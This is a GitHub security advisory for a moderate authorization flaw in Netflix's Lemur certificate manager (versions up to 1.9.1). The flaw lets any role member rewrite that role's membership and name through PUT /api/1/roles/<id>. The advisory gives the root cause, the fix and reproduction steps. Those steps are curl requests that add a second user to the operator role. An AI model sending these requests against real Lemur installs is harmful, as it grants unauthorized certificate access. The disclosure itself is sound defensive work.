Skip to content

Lemur Privilege Escalation: Non-admin role members can rewrite role membership via PUT /api/1/roles/<id>

Moderate severity GitHub Reviewed Published Jun 10, 2026 in Netflix/lemur • Updated Jun 25, 2026

Package

lemur (pip)

Affected versions

<= 1.9.1

Patched versions

1.9.2

Description

Summary

The PUT /api/1/roles/<id> handler in lemur/roles/views.py gates only on RoleMemberPermission(role_id).can(), which is satisfied for any user who is already a member of the target role. The handler then passes data["users"] and data["name"] directly to service.update(), permitting any role member to rewrite that role's membership list and name. The companion DELETE handler on the same resource is correctly gated by @admin_permission.require; the asymmetry between PUT and DELETE on identical resources indicates an authorization oversight rather than a deliberate design choice.

Root Cause

lemur/roles/views.py:298:

permission = RoleMemberPermission(role_id)
if permission.can():
    return service.update(
        role_id, data["name"], data.get("description"), data.get("users")
    )
return dict(message="You are not authorized to modify this role."), 403
 
@admin_permission.require(http_exception=403)
def delete(self, role_id):
    ...

lemur/auth/permissions.py:56:

class RoleMemberPermission(Permission):
    def __init__(self, role_id):
        needs = [RoleNeed("admin"), RoleMemberNeed(role_id)]
        super().__init__(*needs)

flask_principal.Permission.allows() is OR-semantic across needs, so RoleMemberPermission(role_id).can() returns True if the caller is either an admin or a member of role_id. The PUT handler treats membership-of-self as sufficient to mutate the role; DELETE does not.

Affected Endpoints

Method Path Source
PUT /api/1/roles/<id> lemur/roles/views.py:298

Impact

A user who is a member of role X can:

  • Add other users to role X, granting them whatever certificate/authority access role X confers. In installs that delegate certificate or authority ownership to non-admin roles, this promotes arbitrary users to peer of every other role member.
  • Remove other users from role X, denying their access (availability / governance impact).
  • Rename role X to an arbitrary string.
    The "rename to admin" path is blocked by the unique=True constraint on Role.name and by strict equality in User.is_admin, so direct self-promotion to admin via rename is not possible on default installs. The principal exploitation surface is membership rewriting and lateral promotion of colluders within roles the attacker already belongs to.

Remediation

Add @admin_permission.require(http_exception=403) to Roles.put, mirroring the existing decorator on Roles.delete:

@admin_permission.require(http_exception=403)
def put(self, role_id, data=None):
    ...

If selective delegation is intended (role owners managing their own roles), that capability should be modeled with a dedicated permission class whose Needs reflect role ownership rather than membership, and the name field should be excluded from the mutable schema on that delegated path.

Steps to Reproduce

  1. Set up Lemur with default configuration. Create an admin user admin, and two non-admin users alice and bob. Add alice to the built-in operator role; leave bob with no roles or with read-only only.

  2. Authenticate as alice and capture the JWT:

    curl -X POST https://lemur.local/api/1/auth/login \
         -H "Content-Type: application/json" \
         -d '{"username":"alice","password":"<alice_pw>"}'
    
  3. Confirm the initial state - bob is not a member of operator:

    curl https://lemur.local/api/1/roles?filter=name;operator \
         -H "Authorization: Bearer <admin_jwt>"
    # observe: alice present in users list, bob absent
    
  4. As alice, send a PUT that injects bob into the operator role:

    curl -X PUT https://lemur.local/api/1/roles/<operator_role_id> \
         -H "Authorization: Bearer <alice_jwt>" \
         -H "Content-Type: application/json" \
         -d '{
               "name": "operator",
               "description": "modified by alice",
               "users": [{"id": <alice_id>}, {"id": <bob_id>}]
             }'
    # observe: HTTP 200
    
  5. Confirm bob is now a member of operator:

    curl https://lemur.local/api/1/roles?filter=name;operator \
         -H "Authorization: Bearer <admin_jwt>"
    # observe: bob now present in users list
    

Step 4 succeeds despite alice not being an admin. The same handler also accepts a name field; substituting "name": "operator_v2" in step 4 renames the role, demonstrating the second variant of the bug.

References

@PJ1288 PJ1288 published to Netflix/lemur Jun 10, 2026
Published to the GitHub Advisory Database Jun 25, 2026
Reviewed Jun 25, 2026
Last updated Jun 25, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

EPSS score

Weaknesses

Incorrect Authorization

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. Learn more on MITRE.

CVE ID

CVE-2026-55163

GHSA ID

GHSA-x3vf-mgxj-7785

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.